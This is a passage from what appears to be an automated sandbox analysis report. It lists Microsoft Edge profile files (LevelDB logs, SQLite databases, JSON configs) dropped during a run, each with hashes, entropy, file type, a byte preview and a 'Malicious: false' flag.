Preview:	2025/04/07-12:10:01.318 73c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/04/07-12:10:01.319 73c Recovering log #3.2025/04/07-12:10:01.319 73c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6148425847986703
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jhPwahpn2mL:TO8D4jJ/6Up+VPp3T
MD5:	C6BE810C8EBFCD8D8510B9592B7D36A1
SHA1:	124BD9C43E9811F9E51B020AAE4F76073C4A965E
SHA-256:	83C2A4E9127123047714815053D26524847BBA8C9E919E59B867160F1F55F597
SHA-512:	081C5DF22EF45213F00E03697EB486023226C5044581ADA16EAB55A42DD612E3400889D60B85413EBF394F7AE7BC0BAB429D166935CD66F12E8FF05CB03E7874
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354130248479138
Encrypted:	false
SSDEEP:	6144:AA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:AFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	D9DE6419D337BD321D0AFA55444D213D
SHA1:	E94ED9472F899CC0F5CAF3F2CA4FA194813E8F51
SHA-256:	789E94E234F836F75A4A9365A7998B6D842D07F3684555BBE979B54FEAC5A8C6
SHA-512:	3741DC28A94AB13632EC60F0CAB13C65AB4242BDF954D843076412C9180295CF5D8062EC493066660520217DD379852887A1CD2F18E63EC9A8BD3EF3B72740A4
Malicious:	false
Preview:	...m.................DB_VERSION.10..q...............&QUERY_TIMESTAMP:domains_config_gz2...13388515809005079..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.195936132311727
Encrypted:	false
SSDEEP:	6:iORPm+RM1cNwi23oH+Tcwtk2WwnvB2KLlzPN4q2PcNwi23oH+Tcwtk2WwnvIFUv:7RPmu2ZYebkxwnvFL9PN4vLZYebkxwnp
MD5:	F83EB9CB5ECA6BA5D4CBD45620799FEE
SHA1:	F85B458FC4870BE5820A5B353E805625E0A51B05
SHA-256:	BE522360815EF5F94045DA8A9825CF05465A4A2930F2411EDF5CEE3FFA353F97
SHA-512:	B28C8570B75F294DA36A04AECDA0D87820867BF1C3EF894A7386B1C4D68F6C5E021C9080D44CC0183018B3F157F376DB78F5DF383655ACC32DB8AC38C244B6C1
Malicious:	false
Preview:	2025/04/07-12:10:07.816 574 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/04/07-12:10:07.893 574 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324603688938791
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rm:C1gAg1zfvu
MD5:	BF0ADE72614FD1D72552C44C10F83091
SHA1:	CDB243D776C0A91A89AD8A270806D3D4A8B78D5A
SHA-256:	4E7CD81BFACAA8C37762C40A81DE198C5708F265A09E0D60FCE3785254B1B102
SHA-512:	17A5EA0C29B93BD0327FAC8B8B691D8641529A21AF9D7CD59B5A6D66DA64058C14C42707B60B2EF785F76D9282C7938F41ED381A2042772A6DBB824D6B1DC73C
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.121058652282521
Encrypted:	false
SSDEEP:	6:iORPghq2PcNwi23oH+Tcwt8aPrqIFUtDP2ZZmw9P2zkwOcNwi23oH+Tcwt8amLJ:7RPghvLZYebL3FUtDPS/9Pe54ZYebQJ
MD5:	64300C160C62209591E4929AC93661FA
SHA1:	F3E13902BE74489665FF59F3E60A92A754F675C2
SHA-256:	A4F29B134D66AA1E680374DBA803E8732F431462F6F16FB5F3FDFED663ECB298
SHA-512:	B07F31759E39B3681A82183DB643D74F175817467B79DEA401F4DD67E2D696C3F47492D3857BD549D83918FA0CABBB60A1860FCE52BEA76F5D56876362F3C4AD
Malicious:	false
Preview:	2025/04/07-12:10:01.247 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/04/07-12:10:01.248 1ce0 Recovering log #3.2025/04/07-12:10:01.248 1ce0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.121058652282521
Encrypted:	false
SSDEEP:	6:iORPghq2PcNwi23oH+Tcwt8aPrqIFUtDP2ZZmw9P2zkwOcNwi23oH+Tcwt8amLJ:7RPghvLZYebL3FUtDPS/9Pe54ZYebQJ
MD5:	64300C160C62209591E4929AC93661FA
SHA1:	F3E13902BE74489665FF59F3E60A92A754F675C2
SHA-256:	A4F29B134D66AA1E680374DBA803E8732F431462F6F16FB5F3FDFED663ECB298
SHA-512:	B07F31759E39B3681A82183DB643D74F175817467B79DEA401F4DD67E2D696C3F47492D3857BD549D83918FA0CABBB60A1860FCE52BEA76F5D56876362F3C4AD
Malicious:	false
Preview:	2025/04/07-12:10:01.247 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/04/07-12:10:01.248 1ce0 Recovering log #3.2025/04/07-12:10:01.248 1ce0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.111006940878869
Encrypted:	false
SSDEEP:	6:iORPCoAq2PcNwi23oH+Tcwt865IFUtDPeVFZZmw9PeVFzkwOcNwi23oH+Tcwt86L:7RPHAvLZYeb/WFUtDPevZ/9Pevz54ZY4
MD5:	C471AC9916AC59A22590891BB0A3401D
SHA1:	B5BA6116D293CC0E4C9932553B4DB308B0658151
SHA-256:	8DBB5184E5EBC9C8EBF6ECD29CA9DC383EE65A86F5347D5848524F475A45D5E4
SHA-512:	B109CACA4010220AB5F6F674774873B665B1AFFD266AE53F4987D41A3168C9024AF6070CA6A0073B8D4BC448FCF5FE16FB8FB9E0DDA044AFFCF1BFB49A2EE585
Malicious:	false
Preview:	2025/04/07-12:10:01.252 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/04/07-12:10:01.253 1ce0 Recovering log #3.2025/04/07-12:10:01.253 1ce0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.111006940878869
Encrypted:	false
SSDEEP:	6:iORPCoAq2PcNwi23oH+Tcwt865IFUtDPeVFZZmw9PeVFzkwOcNwi23oH+Tcwt86L:7RPHAvLZYeb/WFUtDPevZ/9Pevz54ZY4
MD5:	C471AC9916AC59A22590891BB0A3401D
SHA1:	B5BA6116D293CC0E4C9932553B4DB308B0658151
SHA-256:	8DBB5184E5EBC9C8EBF6ECD29CA9DC383EE65A86F5347D5848524F475A45D5E4
SHA-512:	B109CACA4010220AB5F6F674774873B665B1AFFD266AE53F4987D41A3168C9024AF6070CA6A0073B8D4BC448FCF5FE16FB8FB9E0DDA044AFFCF1BFB49A2EE585
Malicious:	false
Preview:	2025/04/07-12:10:01.252 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/04/07-12:10:01.253 1ce0 Recovering log #3.2025/04/07-12:10:01.253 1ce0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.183921458151869
Encrypted:	false
SSDEEP:	6:iORPBAq2PcNwi23oH+Tcwt8NIFUtDPBhZmw9PqkwOcNwi23oH+Tcwt8+eLJ:7RPKvLZYebpFUtDPD/9Pq54ZYebqJ
MD5:	0AF7497923E0A6C4EA06A60E5C3C2BD2
SHA1:	51B9645944AFC619FB9BCFDCD21105D840FFB6D5
SHA-256:	B2971BC4B0BDD2AE8ABD9790B50AAB90D1E99BBE6E1BA22C7779FC8D35BC7476
SHA-512:	B0831892B3B780DA17D726DBB3FA8259FA33424F0F49A81E44B49E27967886E7B725C39644C1015C62472CE56C870B4552343E4EFEB4FBFD5A6D065A824B301A
Malicious:	false
Preview:	2025/04/07-12:10:03.527 1b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/04/07-12:10:03.527 1b90 Recovering log #3.2025/04/07-12:10:03.528 1b90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.183921458151869
Encrypted:	false
SSDEEP:	6:iORPBAq2PcNwi23oH+Tcwt8NIFUtDPBhZmw9PqkwOcNwi23oH+Tcwt8+eLJ:7RPKvLZYebpFUtDPD/9Pq54ZYebqJ
MD5:	0AF7497923E0A6C4EA06A60E5C3C2BD2
SHA1:	51B9645944AFC619FB9BCFDCD21105D840FFB6D5
SHA-256:	B2971BC4B0BDD2AE8ABD9790B50AAB90D1E99BBE6E1BA22C7779FC8D35BC7476
SHA-512:	B0831892B3B780DA17D726DBB3FA8259FA33424F0F49A81E44B49E27967886E7B725C39644C1015C62472CE56C870B4552343E4EFEB4FBFD5A6D065A824B301A
Malicious:	false
Preview:	2025/04/07-12:10:03.527 1b90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/04/07-12:10:03.527 1b90 Recovering log #3.2025/04/07-12:10:03.528 1b90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:5/lD/ntFlljq7A/mhWJFuQ3yy7IOWURf/ln4/dweytllrE9SFcTp4AGbNCV9RUIO:M75fO7fm/d0Xi99pEYE
MD5:	917670A2D0106A4ED4E27C01F9F2919B
SHA1:	47D466E573F8C442AED3922FF41C30FCF2D8B5DF
SHA-256:	38CD93742B1AEE81482175F040D9E4BA75B60CB67F1B72E749E7321EE6E8BFA4
SHA-512:	A3826D5637E97E8BECCB6C0399C67A63911363B06CF6F5554503B1F9ED455B4AE4AF0782D78A526C8CC20119E9CEBE79524414CDA195E5088F0A5FCEB33B5ADF
Malicious:	false
Preview:	.............jF....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.9180846775599236
Encrypted:	false
SSDEEP:	384:jj9P0lcSQkQerWgam6IqP/Kbtt773pLrjl+RKToaADhf:jd3Se2JaP/67Jl+RKc39
MD5:	8D385D75CCAD671438A98AA581649601
SHA1:	5763C797488AE0A6A489F004799E1C2A5F19A003
SHA-256:	C27A4754B77480F06099DF4D50EAA782082A8B2A144676AAB9BD73F7EB059802
SHA-512:	F1BCDFD3425B3F3973113D50774487138FE40FB97275F704D160324A3B0EACC7BC7C0FDBD57F80734C4E528DBF0AFBDA431F94DCCAE23A86EDFDE0121EE48626
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.24776933633799
Encrypted:	false
SSDEEP:	12:7RPD4vLZYeb8rcHEZrELFUtDPwNJ/9PwND54ZYeb8rcHEZrEZSJ:7NDKlYeb8nZrExgjwNvwNVoYeb8nZrE8
MD5:	7B07EC1CE9D6A8C3BEA4C1C231BED118
SHA1:	675ACF7C4D3C4373176064C4C31CD66A19DCC09E
SHA-256:	BAE47273D52C2655D010BD51C8AE9F1814D5F6080DD56BF4D91FDD85A6F6F2F0
SHA-512:	E4AA21B0952E995AB697AE0A22B9D31EEA2A702A8CCFD58080D3F3142552241323A4E8C2CF6CF569A0D75CDEB0905497FAB2A689A6056F4B044EEAD9EADB75ED
Malicious:	false
Preview:	2025/04/07-12:10:06.235 1024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/04/07-12:10:06.236 1024 Recovering log #3.2025/04/07-12:10:06.236 1024 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.24776933633799
Encrypted:	false
SSDEEP:	12:7RPD4vLZYeb8rcHEZrELFUtDPwNJ/9PwND54ZYeb8rcHEZrEZSJ:7NDKlYeb8nZrExgjwNvwNVoYeb8nZrE8
MD5:	7B07EC1CE9D6A8C3BEA4C1C231BED118
SHA1:	675ACF7C4D3C4373176064C4C31CD66A19DCC09E
SHA-256:	BAE47273D52C2655D010BD51C8AE9F1814D5F6080DD56BF4D91FDD85A6F6F2F0
SHA-512:	E4AA21B0952E995AB697AE0A22B9D31EEA2A702A8CCFD58080D3F3142552241323A4E8C2CF6CF569A0D75CDEB0905497FAB2A689A6056F4B044EEAD9EADB75ED
Malicious:	false
Preview:	2025/04/07-12:10:06.235 1024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/04/07-12:10:06.236 1024 Recovering log #3.2025/04/07-12:10:06.236 1024 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2080
Entropy (8bit):	5.574441703020166
Encrypted:	false
SSDEEP:	48:CZeWChiN8Mkv8oN6NEQd9ZsV03Sx4aVHHT2UYylsESUG:CcRP8uApwVy5osbf
MD5:	164DF9C182000432ED7E04A0242A191E
SHA1:	1C52F05E0744ACAD0760A2AE75EE03B4E646C65D
